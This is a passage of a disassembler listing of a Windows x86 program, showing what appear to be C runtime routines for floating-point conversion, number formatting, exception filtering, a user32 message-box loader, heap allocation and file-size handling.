		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424B39:				; CODE XREF: sub_424B03+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424B39
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_424B6B:				; CODE XREF: sub_424B03+86j
		cmp	ebx, edi
		jl	short loc_424B7E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424B85
; ---------------------------------------------------------------------------


loc_424B7E:				; CODE XREF: sub_424B03+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424B85:				; CODE XREF: sub_424B03+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_424B6B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B90	proc near		; CODE XREF: sub_424CFC+Dp
					; sub_424D12+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_424BFD
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_424AE8
		test	eax, eax
		pop	ecx
		jnz	loc_424CBC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx


loc_424BF5:				; CODE XREF: sub_424B90+E4j
		push	2


loc_424BF7:				; CODE XREF: sub_424B90+110j
		pop	eax
		jmp	loc_424CBE
; ---------------------------------------------------------------------------


loc_424BFD:				; CODE XREF: sub_424B90+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_424AC1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		add	esp, 10h
		test	eax, eax
		jz	short loc_424C1E
		inc	ebx


loc_424C1E:				; CODE XREF: sub_424B90+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424C36
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx
		jmp	short loc_424C72
; ---------------------------------------------------------------------------


loc_424C36:				; CODE XREF: sub_424B90+98j
		cmp	ebx, eax
		jg	short loc_424C79
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424AC1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_424B03
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		add	esp, 20h


loc_424C72:				; CODE XREF: sub_424B90+A4j
		xor	esi, esi
		jmp	loc_424BF5
; ---------------------------------------------------------------------------


loc_424C79:				; CODE XREF: sub_424B90+A8j
		cmp	ebx, [edi]
		jl	short loc_424CA5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_424BF7
; ---------------------------------------------------------------------------


loc_424CA5:				; CODE XREF: sub_424B90+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_424B03
		pop	ecx
		pop	ecx


loc_424CBC:				; CODE XREF: sub_424B90+55j
		xor	eax, eax


loc_424CBE:				; CODE XREF: sub_424B90+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_424CED
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_424CF7
; ---------------------------------------------------------------------------


loc_424CED:				; CODE XREF: sub_424B90+14Ej
		cmp	edi, 20h
		jnz	short loc_424CF7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_424CF7:				; CODE XREF: sub_424B90+15Bj
					; sub_424B90+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B90	endp


; =============== S U B	R O U T	I N E =======================================



sub_424CFC	proc near		; CODE XREF: sub_424D28+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D7F8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424CFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D12	proc near		; CODE XREF: sub_424D55+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D810
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424D12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D28	proc near		; CODE XREF: sub_42223B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424CFC
		add	esp, 24h
		leave
		retn
sub_424D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D55	proc near		; CODE XREF: sub_42223B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424D12
		add	esp, 24h
		leave
		retn
sub_424D55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D82	proc near		; CODE XREF: sub_422279+65p
					; sub_42237D+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_424DBF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424DA5:				; CODE XREF: sub_424D82+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_424DB1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_424DB4
; ---------------------------------------------------------------------------


loc_424DB1:				; CODE XREF: sub_424D82+27j
		push	30h
		pop	edx


loc_424DB4:				; CODE XREF: sub_424D82+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424DA5
		mov	edx, [ebp+arg_8]


loc_424DBF:				; CODE XREF: sub_424D82+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_424DD8
		cmp	byte ptr [ecx],	35h
		jl	short loc_424DD8


loc_424DCB:				; CODE XREF: sub_424D82+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_424DD6
		mov	byte ptr [eax],	30h
		jmp	short loc_424DCB
; ---------------------------------------------------------------------------


loc_424DD6:				; CODE XREF: sub_424D82+4Dj
		inc	byte ptr [eax]


loc_424DD8:				; CODE XREF: sub_424D82+42j
					; sub_424D82+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_424DE2
		inc	dword ptr [edx+4]
		jmp	short loc_424DF4
; ---------------------------------------------------------------------------


loc_424DE2:				; CODE XREF: sub_424D82+59j
		push	edi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41D670
		add	esp, 10h


loc_424DF4:				; CODE XREF: sub_424D82+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424D82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424DF9	proc near		; CODE XREF: sub_422279+3Fp
					; sub_42237D+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424E5D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DBFB8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_425973
		mov	dword_4DBFE0, eax
		add	esp, 18h
		movsx	eax, byte_4DBFBA
		mov	dword_4DBFD8, eax
		pop	edi
		movsx	eax, word_4DBFB8
		mov	dword_4DBFDC, eax
		mov	dword_4DBFE4, offset dword_4DBFBC
		mov	eax, offset dword_4DBFD8
		pop	esi
		leave
		retn
sub_424DF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E5D	proc near		; CODE XREF: sub_424DF9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_424EAB
		cmp	ebx, edi
		jz	short loc_424EA4
		lea	edi, [ecx+3C00h]
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EA4:				; CODE XREF: sub_424E5D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E5D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424EC3
		cmp	edx, ebx
		jnz	short loc_424EC3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_424F0E
; ---------------------------------------------------------------------------


loc_424EC3:				; CODE XREF: sub_424E5D+52j
					; sub_424E5D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_424ECC:				; CODE XREF: sub_424E5D+45j
					; sub_424E5D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_424EE4:				; CODE XREF: sub_424E5D+A6j
		test	ecx, esi
		jnz	short loc_424F05
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_424EE4
; ---------------------------------------------------------------------------


loc_424F05:				; CODE XREF: sub_424E5D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_424F0E:				; CODE XREF: sub_424E5D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424E5D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41E2C9
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_424F1C	proc near		; DATA XREF: ___:0043D438o
					; ___:0043DB78o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_424F3F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_424F3F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_424F3F
		jmp	sub_422DFC
; ---------------------------------------------------------------------------


loc_424F3F:				; CODE XREF: sub_424F1C+Dj
					; sub_424F1C+13j ...
		mov	eax, dword_4DBFE8
		test	eax, eax
		jz	short loc_424F5C
		push	eax
		call	sub_424FB8
		test	eax, eax
		pop	ecx
		jz	short loc_424F5C
		push	esi
		call	dword_4DBFE8
		jmp	short loc_424F5E
; ---------------------------------------------------------------------------


loc_424F5C:				; CODE XREF: sub_424F1C+2Aj
					; sub_424F1C+35j
		xor	eax, eax


loc_424F5E:				; CODE XREF: sub_424F1C+3Ej
		pop	esi
		retn	4
sub_424F1C	endp

; ---------------------------------------------------------------------------
word_424F62	dw 1C68h		; DATA XREF: ___:00429024o
; ---------------------------------------------------------------------------
		dec	edi
		inc	edx
		add	al, ch
		mov	dword ptr [edi-5C6FFDE4h], offset dword_4DBFE8
		retn
; ---------------------------------------------------------------------------
byte_424F73	db 0FFh			; DATA XREF: ___:0042903Co
		dd 4DBFE835h, 0B4E89000h, 0C3021CBFh

; =============== S U B	R O U T	I N E =======================================



sub_424F80	proc near		; CODE XREF: sub_422651+6Bp
					; sub_422B62+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 25F0B71h
		test	eax, eax
		jz	short loc_424F98
		xor	esi, esi


loc_424F98:				; CODE XREF: sub_424F80+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F9C	proc near		; CODE XREF: sub_422B62+73p
					; sub_422B62+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 26707CBh
		test	eax, eax
		jz	short loc_424FB4
		xor	esi, esi


loc_424FB4:				; CODE XREF: sub_424F9C+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FB8	proc near		; CODE XREF: sub_422B62+15Bp
					; sub_424F1C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 25F0AB1h
		test	eax, eax
		jz	short loc_424FCC
		xor	esi, esi


loc_424FCC:				; CODE XREF: sub_424FB8+10j
		mov	eax, esi
		pop	esi
		retn
sub_424FB8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422DFC


loc_424FD0:				; CODE XREF: sub_422DFC:loc_422E4Dj
		push	0Ah
		call	sub_423DD1
		push	16h
		call	sub_425C06
		pop	ecx
		pop	ecx
		push	3
		call	sub_41C1A2
; END OF FUNCTION CHUNK	FOR sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_424FE7	proc near		; CODE XREF: ___:004236A6p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424FF8
		add	esp, 0Ch
		retn
sub_424FE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FF8	proc near		; CODE XREF: sub_424FE7+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DD261[eax], cl
		jnz	short loc_425025
		cmp	[esp+arg_4], 0
		jz	short loc_42501E
		movzx	eax, word_43CE82[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_425020
; ---------------------------------------------------------------------------


loc_42501E:				; CODE XREF: sub_424FF8+16j
		xor	eax, eax


loc_425020:				; CODE XREF: sub_424FF8+24j
		test	eax, eax
		jnz	short loc_425025
		retn
; ---------------------------------------------------------------------------


loc_425025:				; CODE XREF: sub_424FF8+Fj
					; sub_424FF8+2Aj
		push	1
		pop	eax
		retn
sub_424FF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_425029	proc near		; CODE XREF: sub_423DD1+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DBFEC, ebx
		push	esi
		push	edi
		jnz	short loc_425078
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26C0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4250AE
		mov	esi, dword_4270C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DBFEC, eax
		jz	short loc_4250AE
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DBFF0, eax
		call	esi
		mov	dword_4DBFF4, eax


loc_425078:				; CODE XREF: sub_425029+Bj
		mov	eax, dword_4DBFF0
		test	eax, eax
		jz	short loc_425097
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_425097
		mov	eax, dword_4DBFF4
		test	eax, eax
		jz	short loc_425097
		push	ebx
		call	eax
		mov	ebx, eax


loc_425097:				; CODE XREF: sub_425029+56j
					; sub_425029+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DBFEC


loc_4250AA:				; CODE XREF: sub_425029+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4250AE:				; CODE XREF: sub_425029+1Cj
					; sub_425029+33j
		xor	eax, eax
		jmp	short loc_4250AA
sub_425029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4250B2	proc near		; CODE XREF: sub_42413E+22p
					; sub_42413E+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_4250D3
		test	esi, esi
		jnz	short loc_4250CD
		push	1
		pop	esi


loc_4250CD:				; CODE XREF: sub_4250B2+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_4250D3:				; CODE XREF: sub_4250B2+12j
					; sub_4250B2+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_425132
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	short loc_4250FE
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DD380
		ja	short loc_42511D
		push	eax
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_425148
		jmp	short loc_42511D
; ---------------------------------------------------------------------------


loc_4250FE:				; CODE XREF: sub_4250B2+30j
		cmp	eax, 2
		jnz	short loc_42511D
		cmp	esi, dword_43CE74
		ja	short loc_42511D
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42515C


loc_42511D:				; CODE XREF: sub_4250B2+3Bj
					; sub_4250B2+4Aj ...
		push	esi
		push	8
		push	dword_4DD384
		call	near ptr 27F0000h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_425156


loc_425132:				; CODE XREF: sub_4250B2+26j
		cmp	dword_4DBE48, 0
		jz	short loc_425156
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jz	short loc_42515F
		jmp	short loc_4250D3
; ---------------------------------------------------------------------------


loc_425148:				; CODE XREF: sub_4250B2+48j
		push	[ebp+arg_0]


loc_42514B:				; CODE XREF: sub_4250B2+ABj
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_425156:				; CODE XREF: sub_4250B2+7Ej
					; sub_4250B2+87j
		mov	eax, edi


loc_425158:				; CODE XREF: sub_4250B2+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42515C:				; CODE XREF: sub_4250B2+69j
		push	esi
		jmp	short loc_42514B
; ---------------------------------------------------------------------------


loc_42515F:				; CODE XREF: sub_4250B2+92j
		xor	eax, eax
		jmp	short loc_425158
sub_4250B2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241E3


loc_425163:				; CODE XREF: sub_4241E3+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DD020, esi
		jle	short loc_4251B6


loc_425172:				; CODE XREF: sub_4241E3+FD1j
		mov	eax, dword_4DC01C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4251AD
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_425191
		push	eax
		call	sub_41BA3B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_425191
		inc	edi


loc_425191:				; CODE XREF: sub_4241E3+F9Fj
					; sub_4241E3+FABj
		cmp	esi, 14h
		jl	short loc_4251AD
		mov	eax, dword_4DC01C
		push	dword ptr [eax+esi*4]
		call	sub_41BA91
		mov	eax, dword_4DC01C
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_4251AD:				; CODE XREF: sub_4241E3+F99j
					; sub_4241E3+FB1j
		inc	esi
		cmp	esi, dword_4DD020
		jl	short loc_425172


loc_4251B6:				; CODE XREF: sub_4241E3+F8Dj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4241E3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251BB	proc near		; CODE XREF: sub_42423B+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DD140
		jnb	loc_4252F0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_4252F0
		push	1
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_4252FA
		push	2
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_4252FA
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_42529D
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41BF70


loc_425240:				; DATA XREF: ___:off_438CB8o
		push	8000h
		push	ebx
		call	sub_425D78
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_425251:				; CODE XREF: sub_4251BB+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_42525C
		mov	eax, edi


loc_42525C:				; CODE XREF: sub_4251BB+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42527A
		sub	edi, eax
		test	edi, edi
		jle	short loc_425290
		jmp	short loc_425251
; ---------------------------------------------------------------------------


loc_42527A:				; CODE XREF: sub_4251BB+B5j
		cmp	dword_4DBDE0, 5
		jnz	short loc_42528D
		mov	dword_4DBDDC, 0Dh


loc_42528D:				; CODE XREF: sub_4251BB+C6j
		or	esi, 0FFFFFFFFh


loc_425290:				; CODE XREF: sub_4251BB+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425D78
		pop	ecx
		pop	ecx
		jmp	short loc_4252DD
; ---------------------------------------------------------------------------


loc_42529D:				; CODE XREF: sub_4251BB+71j
		jge	short loc_4252DD
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_422F09
		push	ebx
		call	sub_4240AA
		add	esp, 10h
		push	eax
		nop
		call	near ptr 25F0000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4252DD
		mov	dword_4DBDDC, 0Dh
		nop
		call	near ptr 2690C56h
		mov	dword_4DBDE0, eax


loc_4252DD:				; CODE XREF: sub_4251BB+E0j
					; sub_4251BB:loc_42529Dj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_4252FD
; ---------------------------------------------------------------------------


loc_4252F0:				; CODE XREF: sub_4251BB+1Aj
					; sub_4251BB+36j
		mov	dword_4DBDDC, 9


loc_4252FA:				; CODE XREF: sub_4251BB+4Ej
					; sub_4251BB+63j
		or	eax, 0FFFFFFFFh


loc_4252FD:				; CODE XREF: sub_4251BB+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4251BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_425301	proc near		; CODE XREF: sub_4249DF+2Bp
					; sub_4249DF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425317
		cmp	ecx, esi
		jnb	short loc_42531A


loc_425317:				; CODE XREF: sub_425301+10j
		push	1
		pop	eax


loc_42531A:				; CODE XREF: sub_425301+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425301	endp


; =============== S U B	R O U T	I N E =======================================



sub_425322	proc near		; CODE XREF: sub_4253DB+40p
					; sub_4253DB+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		inc	dword ptr [esi+8]


loc_425354:				; CODE XREF: sub_425322+19j
					; sub_425322+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42536C
		inc	dword ptr [esi+8]


loc_42536C:				; CODE XREF: sub_425322+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425322	endp


; =============== S U B	R O U T	I N E =======================================



sub_425380	proc near		; CODE XREF: sub_4253DB+30p
					; sub_4253DB+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_425380	endp


